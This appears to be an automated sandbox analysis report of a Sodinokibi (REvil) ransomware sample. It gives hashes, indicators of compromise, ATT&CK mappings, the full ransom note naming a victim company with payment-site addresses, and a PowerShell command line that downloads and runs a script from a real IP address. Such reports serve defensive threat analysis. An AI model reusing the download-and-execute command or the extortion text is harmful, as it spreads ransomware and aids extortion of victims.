sodinokibi | d9632dbb498dcc5c817f3d28376b83ce717767e8f2eda31dca931a781785dc09

General

Target

78db7807ce9e00993f72a5410cc869e8.bat
Size

218B
MD5

289804e7e330a37b07416d754819db89
SHA1

8ed98b81615c3571fad40a840eae66f2de5fb035
SHA256

d9632dbb498dcc5c817f3d28376b83ce717767e8f2eda31dca931a781785dc09
SHA512

ac9649099ea34f88787d84761b3ea53acc436e847d91d2ac046d95cd176d8fe57a63b58ed726fae6f02507fe197e229ae664a4c903531642cd320ce1eeacce40

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/78db7807ce9e00993f72a5410cc869e8

Extracted

Path

C:\754692-read-me.txt

Family

sodinokibi

Ransom Note

---=== Welcome Delco Automation Inc ===--- [+] Whats Happen? [+] Your network has been penetrated. Your files are encrypted with strong military algorithm, and currently unavailable. You can check it: all files on your system has extension 754692. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). Also, all your business info copyed to our servers. Personal data and business contacts extracted. If you do not take action to contact us, the data will be published for free access to everyone. As soon as we receive the payment, all data will be deleted from our servers. [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/8922150D7256EA7B 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/8922150D7256EA7B Contact with us in chat on website. You have 3 days. If you need more time to make a decision and collect money for payment - inform the support chat about this. [+] How will the decryption process proceed after payment? [+] After payment we will send to you our scanner-decoder program and detailed instructions for use. With this program you will be able to decrypt all your encrypted files. Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: tC29lHEylLB5mBeXUHSdcqFQlp2OLjKgsHQHXisq8WnGJwl5u2W1wC9H+LuvV2dC 9chwLHVvPeUiG6L9z0N+yvk2bV3FFfu7MXvJb2wNxz0hWHanb/nd4W3fYcSyZaUb 7Rb2YlfXleyxDBE0hUgRMIvsI2ZjtncIi2JepZWOF1tNVDJSxb4bmYiJ9jVsqiR0 xOLiZSydvQX574W6fdlARtcwJX0PGMmVQ5mLV6XY0QnFUXCdimv1jNDYV0Hz1WGZ 6XB+8McBGEuub8oczXtDZLvasWnfxK9DINCFFADYfQTLxx6rUgAWLDRJWoT2nKMZ 9835oKc+iCjju6Dl+5APphygXVKH7hOgNUTsEPOSBtiIp7Jv4HyCFR3hsDAjNUMz 8wK+S5E5WyURkj5LykvGr/UT0y3vEDae+OQv4xzB336AjMj65lwm4zLQkZ3OVYEv UJ4nTc/O/PzuXBtgnKr67jOatHl9PL9KeMjl03B9KPdfFyDwi2Q5SFZd+8OiyMk1 8YlsGI/8j4Q1ttAMU7yqATorNzs6DofPXpHKFlBICAhHzKuqlDq3DxCfJkiuGU09 nHkLHssQcR/zAI/wYGGp9fk9iftX4Ag8t3/inhfKKw9KnQFjK+BfMQDLkCWwiXMF b2tXmLgdSydFzgpDkx/1K1sdYhF5w2sdxAzJLSJQBa1uiyODWm6ThNh0qEs0WSo0 Q2rst8t60KPNta6PvPFfLboU5z8mD3PW9KnamYjp6PLernC7v+lE5k4x2pvNwuKH Gk5WWUq9eEMJheeceRGJhkxuGq/YOXRu95uTC2v2OF4QWZqTW8Je+cxefr0gxpPJ jVo650v9QahyH1Ra4TeSbX7VBU8Wo1ZgQD2C1l+fVf0BcpWovUMVBIa/UtYymLOP QuuRDctDYtPAIkfNQ6K38xCs8gmiIzDJBBf6szmhExs57hRu+AKAzLe8NBR2VUUh mZz/MKtKR0EWaoO/OG5Nkft8Z7PVIOKN9YtJcV4Dt71p3ssGYVft1Z1vAQtzMWf5 tpDdGNHzh9hfMossHBofF5fDZwfCT9JEHUYRuFMJuGIzQS54O6phhyLlMSlHGDKc dSR6CNzs8VEYVbuOhgzK1K6L/Nhb0ilGGyBkK8qmWGX66cZO92I+G/xrD6iVQMtJ bnaaBK7VKgp9mHAHRyUFbCM0Y2iBtEOzJcDijL8zUEb2JnEqPHDVBe7+S5t7K4uz gGnv1QfMp7Vy9LyP1RaEe/NwIAlkmRDh3EZ09ekBWbiwejMZmLAGwLaxyuqzrM9V 0hg1vOP2tnwTAaQCRBd/sthw34wc6WwptZgReSm7sv8= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Blacklisted process makes network request 152 IoCs

Processes:

powershell.exe

flow	pid	process
3	1424	powershell.exe
5	1424	powershell.exe
7	1424	powershell.exe
9	1424	powershell.exe
11	1424	powershell.exe
12	1424	powershell.exe
14	1424	powershell.exe
15	1424	powershell.exe
18	1424	powershell.exe
20	1424	powershell.exe
22	1424	powershell.exe
24	1424	powershell.exe
25	1424	powershell.exe
27	1424	powershell.exe
28	1424	powershell.exe
30	1424	powershell.exe
31	1424	powershell.exe
33	1424	powershell.exe
35	1424	powershell.exe
37	1424	powershell.exe
39	1424	powershell.exe
41	1424	powershell.exe
43	1424	powershell.exe
44	1424	powershell.exe
46	1424	powershell.exe
48	1424	powershell.exe
49	1424	powershell.exe
51	1424	powershell.exe
52	1424	powershell.exe
54	1424	powershell.exe
55	1424	powershell.exe
57	1424	powershell.exe
59	1424	powershell.exe
61	1424	powershell.exe
63	1424	powershell.exe
65	1424	powershell.exe
66	1424	powershell.exe
68	1424	powershell.exe
70	1424	powershell.exe
71	1424	powershell.exe
73	1424	powershell.exe
74	1424	powershell.exe
76	1424	powershell.exe
78	1424	powershell.exe
80	1424	powershell.exe
81	1424	powershell.exe
83	1424	powershell.exe
85	1424	powershell.exe
86	1424	powershell.exe
88	1424	powershell.exe
90	1424	powershell.exe
92	1424	powershell.exe
93	1424	powershell.exe
95	1424	powershell.exe
96	1424	powershell.exe
98	1424	powershell.exe
100	1424	powershell.exe
101	1424	powershell.exe
103	1424	powershell.exe
104	1424	powershell.exe
107	1424	powershell.exe
109	1424	powershell.exe
111	1424	powershell.exe
113	1424	powershell.exe

Modifies extensions of user files 2 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

powershell.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\GetUpdate.png => \??\c:\users\admin\pictures\GetUpdate.png.754692	powershell.exe
File renamed	C:\Users\Admin\Pictures\HideEdit.png => \??\c:\users\admin\pictures\HideEdit.png.754692	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082
Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File opened for modification C:\Windows\System32\CatRoot2\dberr.txt powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pg8439t9992y.bmp"	powershell.exe

Drops file in Program Files directory 29 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\UnlockRestart.otf	powershell.exe
File opened for modification	\??\c:\program files\ReadConvertTo.DVR-MS	powershell.exe
File opened for modification	\??\c:\program files\SearchStart.dxf	powershell.exe
File opened for modification	\??\c:\program files\SplitProtect.mhtml	powershell.exe
File opened for modification	\??\c:\program files\ShowCompress.wma	powershell.exe
File created	\??\c:\program files\754692-read-me.txt	powershell.exe
File opened for modification	\??\c:\program files\EditUnpublish.cfg	powershell.exe
File opened for modification	\??\c:\program files\MoveUnpublish.dot	powershell.exe
File opened for modification	\??\c:\program files\RegisterSelect.AAC	powershell.exe
File opened for modification	\??\c:\program files\UnregisterPop.php	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\754692-read-me.txt	powershell.exe
File created	\??\c:\program files (x86)\754692-read-me.txt	powershell.exe
File opened for modification	\??\c:\program files\CheckpointPush.wax	powershell.exe
File opened for modification	\??\c:\program files\DisconnectUndo.dotm	powershell.exe
File opened for modification	\??\c:\program files\EditUnblock.tif	powershell.exe
File opened for modification	\??\c:\program files\OutPublish.DVR	powershell.exe
File opened for modification	\??\c:\program files\ShowGrant.mp4	powershell.exe
File opened for modification	\??\c:\program files\PopAssert.ini	powershell.exe
File opened for modification	\??\c:\program files\UndoGrant.gif	powershell.exe
File opened for modification	\??\c:\program files\ReadEnter.vbe	powershell.exe
File opened for modification	\??\c:\program files\SkipProtect.ini	powershell.exe
File opened for modification	\??\c:\program files\DenyInstall.easmx	powershell.exe
File opened for modification	\??\c:\program files\DismountInitialize.wps	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\754692-read-me.txt	powershell.exe
File opened for modification	\??\c:\program files\UnprotectRename.doc	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\754692-read-me.txt	powershell.exe
File opened for modification	\??\c:\program files\ResolveInvoke.tiff	powershell.exe
File opened for modification	\??\c:\program files\SuspendSubmit.mpeg	powershell.exe
File opened for modification	\??\c:\program files\UnprotectFind.js	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1424 powershell.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1424 powershell.exe
1424 powershell.exe
1424 powershell.exe

pid	process
1424	powershell.exe

pid	process
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1424	powershell.exe
Token: SeDebugPrivilege	1424	powershell.exe
Token: SeTakeOwnershipPrivilege	1424	powershell.exe
Token: SeBackupPrivilege	1852	vssvc.exe
Token: SeRestorePrivilege	1852	vssvc.exe
Token: SeAuditPrivilege	1852	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1060 wrote to memory of 1424	1060	cmd.exe	powershell.exe
PID 1060 wrote to memory of 1424	1060	cmd.exe	powershell.exe
PID 1060 wrote to memory of 1424	1060	cmd.exe	powershell.exe
PID 1060 wrote to memory of 1424	1060	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\78db7807ce9e00993f72a5410cc869e8.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1060

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/78db7807ce9e00993f72a5410cc869e8');Invoke-VHCXYJMKGXZ;Start-Sleep -s 10000"
2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1424

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1852

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

memory/1424-0-0x0000000000000000-mapping.dmp

Download
memory/1424-1-0x0000000073BE0000-0x00000000742CE000-memory.dmp

Filesize
6.9MB

Download
memory/1424-2-0x0000000000960000-0x0000000000961000-memory.dmp

Filesize
4KB

Download
memory/1424-3-0x0000000004790000-0x0000000004791000-memory.dmp

Filesize
4KB

Download
memory/1424-4-0x0000000002410000-0x0000000002411000-memory.dmp

Filesize
4KB

Download
memory/1424-5-0x0000000005290000-0x0000000005291000-memory.dmp

Filesize
4KB

Download
memory/1424-8-0x0000000006030000-0x0000000006031000-memory.dmp

Filesize
4KB

Download
memory/1424-13-0x00000000060C0000-0x00000000060C1000-memory.dmp

Filesize
4KB

Download
memory/1424-14-0x0000000006150000-0x0000000006151000-memory.dmp

Filesize
4KB

Download
memory/1424-21-0x0000000006290000-0x0000000006291000-memory.dmp

Filesize
4KB

Download
memory/1424-22-0x00000000062C0000-0x00000000062C1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads